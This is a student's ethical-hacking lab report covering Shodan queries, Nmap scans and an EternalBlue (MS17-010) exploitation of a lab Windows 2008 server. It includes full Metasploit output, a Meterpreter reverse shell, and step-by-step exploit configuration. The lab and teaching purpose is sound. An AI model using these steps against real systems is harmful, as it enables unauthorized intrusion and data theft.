Bryant Watkins

3/14/26

ETHICAL HACKING LAB REPORT

CYSE 601

Relevant Systems

- pfSense firewall VM (IP: 192.168.10.2)
- External Kali Linux machine (IP: 192.168.217.3)
- Windows 2008 Server (IP: 192.168.10.15)

Practicing with Shodan

Search Queries:

Webcamxp – Results returned images from surveillance systems running on the webcamXP and webcamXP 5 servers.

VOIP – Results returned information on VOIP devices globally. These devices were accompanied by their respective IP addresses and locations. Upon further inspection of this search query, further critical information was provided. The information provided can supply a cybersecurity and/or ethical hacking professional with the needed information to launch an attack. Some of the critical information offered includes – list of CVEs, list of open ports, cloud provider, company, and ISP provider. Such information can be exploited by a hacker or professional who possesses the knowledge to incorporate such data into a payload. A hacker could custom tailor a payload with the acquired data and conduct a devastating attack or incident.

VSAT – This query provides information on VSAT satellite telecommunication devices. Results include – name, IP address, runtime, description, etc.

230 Login – This query refers to successful FTP communications between devices. FTP is responsible for file transfer services.

Windows 2008 – This query returns results referring to devices operating on the Windows 2008 software. Results offer information on – IP address, location, server, content type, etc.

Reflection:

Shodan is a powerful tool at the disposal of cybersecurity and ethical hacking professionals. This tool can prove incredibly beneficial in searching globally for vulnerabilities, devices, ports, servers, cameras, etc. Cybersecurity professionals could take advantage of this tool by conducting vulnerability analysis or penetration testing based on acquired data. The acquired data can lead to the creation of payloads or further research analysis of vulnerabilities. There may be some risks, however, in using this tool. It is crucial to adhere to cyber ethics when utilizing this tool, as bad actors can exploit this tool. Having

all of the Shodan data and information widely available for use may very well unintendedly expose many users or companies to black hats or script kiddies looking for an easy and unsuspecting target.

Practicing with NMAP

Scans:

"nmap -sn 192.168.10.15" – Outputs identification of live hosts

"nmap -O 192.168.10.15" – Outputs target operating system and open ports

Reflection:

Nmap is an incredibly powerful and useful tool in ethical hacking and penetration testing. Reconnaissance is a critical step in the penetration testing process, and Nmap is highly effective in providing the data needed to successfully conduct an attack. The data provided by various Nmap commands can absolutely prove beneficial to the security assessment process for cybersecurity professionals. Nmap can be used for network security assessments by uncovering system and port openings that can create critical vulnerabilities. Uncovering such information can be used by a cybersecurity professional to properly assess the security state of a network.

Though Nmap can prove very beneficial – it is just as important to be capable of comprehending any output as it is to know the proper commands and syntax. The output of

various Nmap commands can certainly appear puzzling to the untrained eye. Any cybersecurity professional must attain extensive comprehension of Nmap scans. When conducting Nmap scans it is imperative to be capable of deciphering data such as – ports, operating system, service details, service version, etc. Gaining an understanding of these items and their context relative to the possible target is key to effective use of Nmap for reconnaissance activity.

Hacking

```
msf6 exploit(windows/smb/ms17_010_eternalblue) > exploit

[*] Started reverse TCP handler on 192.168.217.3:4498
[*] 192.168.10.15:445 - Using auxiliary/scanner/smb/smb_ms17_010 as check
[+] 192.168.10.15:445     - Host is likely VULNERABLE to MS17-010! - Windows Server 2008 R2 Standard 7600 x64 (64-bit)
[*] 192.168.10.15:445     - Scanned 1 of 1 hosts (100% complete)
[+] 192.168.10.15:445 - The target is vulnerable.
[*] 192.168.10.15:445 - Connecting to target for exploitation.
[+] 192.168.10.15:445 - Connection established for exploitation.
[+] 192.168.10.15:445 - Target OS selected valid for OS indicated by SMB reply
[*] 192.168.10.15:445 - CORE raw buffer dump (36 bytes)
[*] 192.168.10.15:445 - 0×00000000  57 69 6e 64 6f 77 73 20 53 65 72 76 65 72 20 32  Windows Server 2
[*] 192.168.10.15:445 - 0×00000010  30 30 38 20 52 32 20 53 74 61 6e 64 61 72 64 20  008 R2 Standard
[*] 192.168.10.15:445 - 0×00000020  37 36 30 30                                      7600
[+] 192.168.10.15:445 - Target arch selected valid for arch indicated by DCE/RPC reply
[*] 192.168.10.15:445 - Trying exploit with 12 Groom Allocations.
[*] 192.168.10.15:445 - Sending all but last fragment of exploit packet
[*] 192.168.10.15:445 - Starting non-paged pool grooming
[+] 192.168.10.15:445 - Sending SMBv2 buffers
[+] 192.168.10.15:445 - Closing SMBv1 connection creating free hole adjacent to SMBv2 buffer.
[*] 192.168.10.15:445 - Sending final SMBv2 buffers.
[*] 192.168.10.15:445 - Sending last fragment of exploit packet!
[*] 192.168.10.15:445 - Receiving response from exploit packet
[+] 192.168.10.15:445 - ETERNALBLUE overwrite completed successfully (0×C000000D)!
[*] 192.168.10.15:445 - Sending egg to corrupted connection.
[*] 192.168.10.15:445 - Triggering free of corrupted buffer.
[*] Sending stage (201798 bytes) to 192.168.217.2
[*] Meterpreter session 1 opened (192.168.217.3:4498 → 192.168.217.2:59057) at 2026-03-15 00:30:30 -0400
[+] 192.168.10.15:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
[+] 192.168.10.15:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-WIN-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
[+] 192.168.10.15:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

meterpreter > screenshot
Screenshot saved to: /root/YRhVLLda.jpeg
meterpreter > getpid
Current pid: 1044
meterpreter > sysinfo
Computer        : W2008R2
OS              : Windows Server 2008 R2 (6.1 Build 7600).
Architecture    : x64
System Language : en_US
Domain          : WORKGROUP
Logged On Users : 1
Meterpreter     : x64/windows
meterpreter >
```

Reflection & Analysis:

I successfully exploited the Windows 2008 server by undertaking all the steps necessary in utilizing Metasploit. *Msfconsole* is the command to enter the Metasploit interface. Upon entering the Metasploit interface, I then conducted a search for the desired exploit (*search ms17_010*). Once I found the correct exploit, I simply entered *use 0* (or whatever the relevant number is associated with the desired exploit in other instances). Another critical step is the configuration of the desired payload to *windows/x64/meterpreter/reverse_tcp*. After selecting the desired exploit, it is then time to configure the target (*RHOST*) and listening port (*LPORT*). For

my attempts, the syntax follows as such – *set RHOST 192.168.10.15 and set LPORT 4498*. *Show options* is an optional command to view the changes made. After all configurations are made and confirmed, I then run the *exploit* command to attempt the infiltration.

Gaining access is simply one of numerous steps involved. After gaining access, it is imperative to conduct further information gathering actions. To gain further insight on the target I entered several commands. *Screenshot* allows me to gather a screen image of my targeted system, allowing for beneficial insight. *Getpid* provides me with information on my process identification inside of meterpreter. *Sysinfo* provides critically insightful information on the target. Some of the critical information provided by *sysinfo* includes – operating system, domain, language, logged on users, etc. The ethical hacking process is a multi-tiered approach that entails not only the infiltration – but the cover up, information gathering, and escalation of privileges as well. Metasploit is capable of providing many of the steps necessary to successfully exploiting a system.